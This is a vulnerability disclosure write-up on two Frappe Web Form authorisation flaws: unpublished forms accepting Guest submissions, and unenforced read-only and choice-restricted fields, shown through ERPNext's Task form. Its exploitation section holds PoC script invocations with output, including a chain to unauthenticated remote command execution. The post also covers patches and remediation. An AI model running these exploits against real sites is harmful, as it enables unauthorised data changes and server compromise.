Skip to content

Frappe Web Form Publication and Field Authorisation Failures

TL;DR

  • Unpublishing a Frappe Web Form only removed its page. An unauthenticated visitor who knew the form's name could still call its metadata and submission RPCs and create the target document, because accept() inserts with permissions ignored.
  • The same submission path copied client values into read-only, hidden, Link and Select fields without checking them, so the browser was the only thing enforcing field policy.
  • On ERPNext's stock Task form, a user with no access to a Project created a completed Task inside it, which flipped the Project to 100 percent and Completed.
  • Frappe 16.30.0 adds the publication check to every direct method. ERPNext 16.32.0 blocks the Task route, but nothing enforces protected Web Form fields in general, and neither issue has an advisory or CVE.

Summary

  • Product: Frappe Framework (frappe/frappe) and ERPNext (frappe/erpnext)
  • Affected Versions: demonstrated on Frappe 16.29.0, with ERPNext 16.30.0 for the Task and Project case
  • Required Privilege: None (unauthenticated Guest) for the publication bypass; any authenticated user for the field bypass
  • Reported: July 29, 2026

Two separate authorisation failures reach the same privileged insert. I reported them as FRAPPE-05 and FRAPPE-07, which is how the PoC repo names its clients. Neither has a CVE, and the scores are standalone:

IssueRoot causeReporter-assessed CVSSFixed inAdvisory
Publication bypassGuest metadata and submission RPCs did not apply the published check that routing applies6.5 (medium)Frappe 16.30.0 and 15.117.0none
Field bypassaccept() copies client values into configured fields without enforcing read-only, hidden, Select or Link policy6.5 (medium)ERPNext 16.32.0 and 15.119.1 for the Task route; the generic sink is unfixednone

Introduction

[A]I examined Frappe 16.29.0's Web Forms because they let website users create documents without create permission on the target DocType. That makes the checks before insertion important.

The submission RPC rechecks login requirements, request keys and rate limits. The router alone decided whether a form was published, while the browser alone enforced which fields a user could set.

Root Cause Analysis

The Privileged Submission Path

Both issues reach accept() in Frappe 16.29.0:

# frappe/website/doctype/web_form/web_form.py
@frappe.whitelist(methods=["POST", "PUT"], allow_guest=True)  # [1] Allows Guest requests.
@rate_limit(key="web_form", limit=10, seconds=60)
def accept(web_form: str, data: str | dict, web_form_request_key: str | None = None):
    """Save the web form"""
    data = frappe._dict(json.loads(data))

    files = []
    files_to_delete = []

    web_form = frappe.get_lazy_doc("Web Form", web_form)  # [2] Loads the form named by the request.
    doctype = web_form.doc_type
    user = frappe.session.user
    web_form_request = web_form.get_web_form_request(
        web_form_request_key,
        docname=data.name,
        for_update=True,
        allow_used=bool(data.name) or bool(web_form.allow_multiple),
    )

    if web_form.login_required and frappe.session.user == "Guest":
        frappe.throw(_("You must login to use this form"))

The method is available to Guest at [1] and loads the Web Form chosen by the request at [2]. It checks whether that form requires login, but this version makes no publication decision here.

The field loop then reads every configured field from the client:

# frappe/website/doctype/web_form/web_form.py
# set values
for field in web_form.web_form_fields:
    fieldname = field.fieldname
    df = meta.get_field(fieldname)
    value = data.get(fieldname, "")  # [3] Reads the client value for each configured field.

    if df and df.fieldtype in ("Attach", "Attach Image"):
        if value and "data:" and "base64" in value:
            files.append((fieldname, value))
            if not doc.name:
                doc.set(fieldname, "")
            continue

        elif not value and doc.get(fieldname):
            files_to_delete.append(doc.get(fieldname))

    doc.set(fieldname, value)  # [4] Assigns it to the target document.

At [3], the form decides which keys are accepted. The assignment at [4] does not reject a value because the form marked its field read-only or hidden. It also does not compare Link and Select values with the choices returned to the browser.

For a new response, the same method performs the insert:

# frappe/website/doctype/web_form/web_form.py
else:
    # insert
    ignore_mandatory = True if (files or web_form.allow_incomplete) else False

    # login_required, key_required + valid web_form_request (for_update),
    # and allow_edit (updates) are enforced above; open forms allow Guest create.
    doc.insert(ignore_permissions=True, ignore_mandatory=ignore_mandatory)  # [5] Disables create-permission enforcement.

The bypass at [5] is intentional for Web Forms, but it gives the earlier decisions their security meaning. Document validation, Link existence checks and controller hooks still run. Ordinary create permission does not.

The Missing Publication Check

Frappe's website router uses get_published_web_forms() to discover routes:

# frappe/website/doctype/web_form/web_form.py
@redis_cache(ttl=60 * 60)
def get_published_web_forms() -> dict[str, str]:
    return frappe.get_all("Web Form", ["name", "route", "modified"], {"published": 1})  # [6] Selects only published routes.

The filter at [6] keeps an unpublished form out of routing, so its normal page returns 404. Direct metadata requests take another route through get_form_data():

# frappe/website/doctype/web_form/web_form.py
@frappe.whitelist(allow_guest=True)  # [7] Exposes the metadata method to Guest.
@frappe.read_only()
def get_form_data(
    doctype: str,
    docname: str | None = None,
    web_form_name: str | None = None,
    web_form_request_key: str | None = None,
):
    web_form = frappe.get_doc("Web Form", web_form_name)  # [8] Loads the named form directly.

    if web_form.login_required and frappe.session.user == "Guest":
        frappe.throw(_("Not Permitted"), frappe.PermissionError)

    if getattr(web_form, "key_required", False):
        web_form.get_web_form_request(
            web_form_request_key,
            docname=docname,
            allow_used=True,
        )

    out = frappe._dict()
    out.web_form = web_form  # [9] Places the form document in the response.

    # ... document and field processing omitted.
    return out

The Guest method at [7] loads the named form directly at [8], enforces its login and request-key settings, then returns it through [9]. It never checks published. The submission path has the same missing check before [5].

An attacker still needs the saved Web Form name, a form that requires neither login nor a request key, and values accepted by its fixed target DocType. Some forms with Link fields fail during metadata processing because the separate Link-options path checks publication, but that does not restore the missing check in accept().

Field Restrictions in the Browser

ERPNext 16.30.0 ships a Task Web Form whose Project field is read-only:

// erpnext/projects/web_form/tasks/tasks.json
{
 "fieldname": "project",
 "fieldtype": "Link",
 "hidden": 0,
 "label": "Project",
 "max_length": 0,
 "max_value": 0,
 "options": "Project",
 "read_only": 1, // [10] Prevents the browser from editing Project.
 "reqd": 1
},

The status field offers a reduced list:

// erpnext/projects/web_form/tasks/tasks.json
{
 "fieldname": "status",
 "fieldtype": "Select",
 "hidden": 0,
 "label": "Status",
 "max_length": 0,
 "max_value": 0,
 "options": "Open\nWorking\nPending Review\nOverdue\nClosed\nCancelled", // [11] Completed is absent.
 "read_only": 0,
 "reqd": 0
},

The read-only flag at [10] keeps Project under the surrounding workflow's control. Completed is absent from the choices at [11].

For a login-required form, get_link_options() narrows the Project choices shown to the user:

# frappe/website/doctype/web_form/web_form.py
link_options, filters = [], {}
if web_form.login_required and not allow_read_on_all_link_options:
    filters = {"owner": frappe.session.user}  # [12] Limits the returned choices to owned records.

fields = ["name as value"]

meta = frappe.get_meta(doctype)
show_title_field = meta.title_field and meta.show_title_field_in_link

if show_title_field:
    fields.append(f"{meta.title_field} as label")

link_options = frappe.get_all(doctype, filters, fields)  # [13] Builds the browser choices.

The owner filter at [12] kept an inaccessible Project out of the choices built at [13]. Nothing checked those choices when the client sent its own Project name and status=Completed through [3] and [4].

The Web Form does not disclose the inaccessible Project name. An attacker needs to learn it elsewhere or guess a predictable name.

One Task Recalculated the Project

After saving a Task, ERPNext calls Task.update_project():

# erpnext/projects/doctype/task/task.py
def update_project(self):
    if self.project and not self.flags.from_project:
        frappe.get_cached_doc("Project", self.project).update_project()  # [14] Recalculates the selected Project.

For a Project using Task Completion, Project.update_percent_complete() counts completed and cancelled Tasks:

# erpnext/projects/doctype/project/project.py
        total = frappe.db.count("Task", dict(project=self.name))

        if not total:
            self.percent_complete = 0
        else:
            if (self.percent_complete_method == "Task Completion" and total > 0) or (
                not self.percent_complete_method and total > 0
            ):
                completed = frappe.db.sql(
                    """select count(name) from tabTask where
                    project=%s and status in ('Cancelled', 'Completed')""",
                    self.name,
                )[0][0]
                self.percent_complete = flt(flt(completed) / total * 100, 2)  # [15] Counts completed Tasks.

# ... Task Progress and Task Weight calculations omitted.

        # don't update status if it is manually set to cancelled or on hold
        if self.status in ("Cancelled", "On hold"):
            return

        self.status = "Completed" if self.percent_complete == 100 else "Open"  # [16] Flips the Project status.

The Task reaches its selected Project at [14]. With no other incomplete Tasks, [15] calculates 100 percent and [16] changes the Project to Completed, unless it is cancelled or on hold.

Impact

The publication bypass lets Guest keep using the configured creation capability of a known unpublished form. Only fields present on that form are copied, and the target's validation and hooks still apply. Where a form targets Web Page and exposes the right fields, that capability composes with the Jinja file write into unauthenticated command execution on a writable, shared app tree.

The field bypass lets a low-privileged account place protected values into documents created through a Web Form. The stock Task route created a Task inside a Project the account could not read. The 100/Completed effect requires Task Completion mode and no other incomplete Tasks.

The chain from the unpublished form into the Jinja file write runs commands as the Frappe web worker. It needs six writable Web Page fields and a known installed-app www directory writable by and shared with the serving worker. It does not demonstrate root access or container escape.

Exploitation

Preconditions

The publication bypass needs the name of a Web Form with published=0, login_required=0 and key_required=0. Its configured fields and defaults must pass validation for a new document. Frappe did not ship a suitable stock form in the reviewed versions, so the target needs an administrator-created draft or a formerly public Guest form left in this state.

The field bypass needs credentials for a low-privileged System User that can open Desk, the stock tasks Web Form and the exact name of an inaccessible Project. The Project must not be shared with the account or list it as a Project User. Completed must be absent from the status choices for the protected-value result shown here.

The RCE chain needs an unpublished Guest Web Form targeting Web Page. It must expose title, route, published, content_type, dynamic_template and main_section_html. The attacker also needs the worker-relative path of an installed-app www directory that is writable by the web process and shared with the process serving website routes.

Unpublished Form Submission

The client is frappe05_unpublished_web_form_submit.py.

python3 frappe05_unpublished_web_form_submit.py \
  --url https://frappe.example \
  --web-form unpublished-todo \
  --data '{"description":"Send the revised invoice"}'
 _____ ____      _    ____  ____  _____
|  ___|  _ \    / \  |  _ \|  _ \| ____|
| |_  | |_) |  / _ \ | |_) | |_) |  _|
|  _| |  _ <  / ___ \|  __/|  __/| |___
|_|   |_| \_\/_/   \_\_|   |_|   |_____|
  unpublished Guest Web Form submission  ·  FRAPPE-05
  discovered by CryptoCat · cryptocat.me

 [*] submitting Web Form 'unpublished-todo' as an unauthenticated Guest
 [+] created ToDo euqfr7u2ct as Guest
  ------------------------------------------------------------
{
  "web_form": "unpublished-todo",
  "created_document": {
    "name": "euqfr7u2ct",
    "owner": "Guest",
    "creation": "2026-10-08 17:31:00.241245",
    "modified": "2026-10-08 17:31:00.241245",
    "modified_by": "Guest",
    "docstatus": 0,
    "idx": 0,
    "status": "Open",
    "priority": "Medium",
    "date": "2026-10-08",
    "description": "Send the revised invoice",
    "assigned_by_full_name": "",
    "doctype": "ToDo"
  }
}

The script sends the attacker's JSON object straight to web_form.accept as Guest and prints the complete inserted document returned by Frappe, including its server-assigned name. It does not depend on the form page or metadata endpoint being reachable.

Only fields configured on the Web Form reach the target document. Normal DocType validation and controller hooks still apply.

Protected Task Fields

The client is frappe07_web_form_field_authorization.py.

FRAPPE07_PASSWORD='low-privilege-password' \
python3 frappe07_web_form_field_authorization.py \
  --url https://frappe.example \
  --username lowpriv@example.net \
  --project PROJ-0026 \
  --subject 'Quarterly close' \
  --status Completed
 [*] signing in as the low-privilege user lowpriv@example.net
 [*] submitting a Task into Project 'PROJ-0026' with status 'Completed'
 [+] created Task TASK-2026-00014 in Project PROJ-0026 with status Completed
  ------------------------------------------------------------
{
  "created_task": {
    "name": "TASK-2026-00014",
    "owner": "lowpriv@example.net",
    "creation": "2026-10-08 17:31:01.491857",
    "modified": "2026-10-08 17:31:01.491857",
    "modified_by": "lowpriv@example.net",
    "docstatus": 0,
    "idx": 0,
    "subject": "Quarterly close",
    "project": "PROJ-0026",
    "is_group": 0,
    "status": "Completed",
    "priority": "Medium",
    "task_weight": 0.0,
    "is_template": 0,
    "start": 0,
    "duration": 0,
    "expected_time": 0.0,
    "progress": 100.0,
    "is_milestone": 0,
    "description": "",
    "depends_on_tasks": "",
    "actual_time": 0.0,
    "total_costing_amount": 0.0,
    "total_billing_amount": 0.0,
    "lft": 27,
    "rgt": 28,
    "old_parent": "",
    "doctype": "Task",
    "depends_on": []
  }
}

FRAPPE07_PASSWORD belongs to the attacker's low-privileged account. The script signs in, obtains that session's CSRF token, submits the inaccessible Project and protected status through the stock form, and prints the inserted Task. It never uses an administrator account.

The Project name is not disclosed by the Web Form bug. It must be learned elsewhere or guessed. If the Project uses Task Completion and has no other incomplete Tasks, the inserted Task changes it to 100 percent and Completed, which is what happened to PROJ-0026 above.

Guest Command Execution

The chain client is frappe05_04_guest_rce.py, and the Jinja file write it hands off to is covered in the Guest OAuth Registration to Command Execution analysis.

python3 frappe05_04_guest_rce.py \
  --url https://frappe.example \
  --web-form unpublished-web-page \
  --www-path ../apps/custom_app/custom_app/www \
  --command 'id'
 [+] both random routes returned HTTP 404 before the chain
 [!] HTTP 404 does not prove that matching files are absent
 [+] created Guest-owned dynamic Web Page 'frappe0504-8b501250c67b83eecf1e-stage' at /frappe0504_8b501250c67b83eecf1e_stage
 [*] writing controller through the Jinja save() sink to /frappe0504_8b501250c67b83eecf1e_exec
 [+] controller planted; requesting the execution route
 [!] persistent Web Page left behind: frappe0504-8b501250c67b83eecf1e-stage at /frappe0504_8b501250c67b83eecf1e_stage
 [!] persistent files left behind: ../apps/custom_app/custom_app/www/frappe0504_8b501250c67b83eecf1e_exec.html and ../apps/custom_app/custom_app/www/frappe0504_8b501250c67b83eecf1e_exec.py
 [+] remote command exited with status 0
  ------------------------------------------------------------
uid=1000(frappe) gid=1000(frappe) groups=1000(frappe)

The default command is id. The script relays the command's exit status, stdout and stderr, so any command works.

The chain generates fresh staging and execution routes and requires both to return HTTP 404 before writing. Successful exploitation leaves a Guest-owned Web Page and the printed .html and .py paths. HTTP 404 does not prove that same-named files are absent from the app tree, although the random 80-bit suffix makes an accidental collision unlikely.

Patch Diffing

Publication Enforcement

Frappe 16.30.0 added raise_if_unpublished():

# frappe/website/doctype/web_form/web_form.py (raise_if_unpublished)
+   def raise_if_unpublished(self):
+       """Unpublishing is the only control that takes a web form offline, so it must
+       hold for direct API calls too, not just for the rendered page."""
+       if not self.published:
+           frappe.throw(_("Not permitted"), frappe.PermissionError)  # [17] Rejects an unpublished form.
+
    def reset_field_parent(self):

The check at [17] turns publication into a server-side permission decision. The patched accept() calls it immediately after loading the selected form:

# frappe/website/doctype/web_form/web_form.py (accept)
    web_form = frappe.get_lazy_doc("Web Form", web_form)
+   web_form.raise_if_unpublished()  # [18] Rejects an unpublished form before submission.
    doctype = web_form.doc_type

The call at [18] applies that decision before submission. get_form_data() and the related list, filter and delete methods received the same check. Frappe 16.30.0 returns HTTP 403 before an unpublished form can be submitted.

Task Project Permission

ERPNext 16.32.0 calls a new check from Task.validate(). The new method compares a new or changed Project with normal write permission and the existing Project User relationship:

# erpnext/projects/doctype/task/task.py (validate_web_form_project_permission)
+   def validate_web_form_project_permission(self):
+       project_unchanged = not self.is_new() and self.project == self.get_db_value("project")
+
+       if (
+           not frappe.flags.in_web_form
+           or not self.project
+           or project_unchanged
+           or frappe.has_permission("Project", "write", doc=self.project)  # [19] Accepts normal Project write permission.
+           or self.has_webform_permission()  # [20] Accepts an existing Project User relationship.
+       ):
+           return
+
+       frappe.throw(  # [21] Rejects the inaccessible Project.
+           _("You are not permitted to create a Task for Project {0}").format(self.project),
+           frappe.PermissionError,
+       )

Normal Project writers pass at [19], while explicit Project users pass at [20]. A new or changed Project with neither authorisation reaches [21] before the privileged insert.

This patch closes the Task and Project route shown above. It does not change the generic assignment at [3] and [4], enforce the Task form's reduced status list, or add a reusable policy for other protected Web Form fields.

On Frappe 16.31.0 and ERPNext 16.32.0, the inaccessible Project reaches [21], which prevents the Task from being created.

Frappe said on August 5, 2026 that the field bypass was being triaged and would be fixed, and that an update would follow. No update arrived, and nothing published since links the ERPNext change to the report. In Frappe 16.52.0 and 15.123.1, the current releases on October 19, 2026, the field loop at [3] and [4] and the privileged insert at [5] are unchanged. Frappe 16.50.0 added a server-side validate_submission() step after the loop, but it enforces mandatory fields and Data-field options only. Read-only, hidden, Select and Link policy still live in the browser.

Remediation

Upgrade to Frappe 16.30.0 or 15.117.0 or later for the publication check. Sites that cannot upgrade should delete open unpublished forms rather than relying on published=0 to disable them.

Upgrade ERPNext to 16.32.0 or 15.119.1 or later for the targeted Task Project check. Custom Web Forms and other target DocTypes still need server-side validation for read-only, hidden, conditional, Link and Select values before any permission-bypassing insert.

Disclosure Timeline

  • July 29, 2026: Reported both to security@frappe.io.
  • July 30, 2026: PR #41367, the publication check, opened and merged the next morning, backport included.
  • August 5, 2026: Frappe 16.30.0 and 15.117.0 shipped it. Frappe closed the publication bypass as already fixed in develop and said the field bypass was being triaged.
  • August 11, 2026: ERPNext 16.32.0 and 15.119.1 shipped the Task and Project check (PR #57908). Nothing links it to the report, and the promised update never came.
  • October 19, 2026: Published this post. No advisory, CVE or credit for either, and the generic field loop is unchanged in 16.52.0 and 15.123.1.

Conclusion

Web Forms use ignore_permissions=True to create documents for website users. So publication and field restrictions need server-side checks before that insert. The submission RPC enforced neither the router's publication decision nor the browser's field restrictions.

Frappe now checks publication on direct methods. ERPNext's Task check closes the Project route shown here, but Frappe's generic Web Form field assignment still does not enforce read-only, hidden, Select or Link restrictions.

References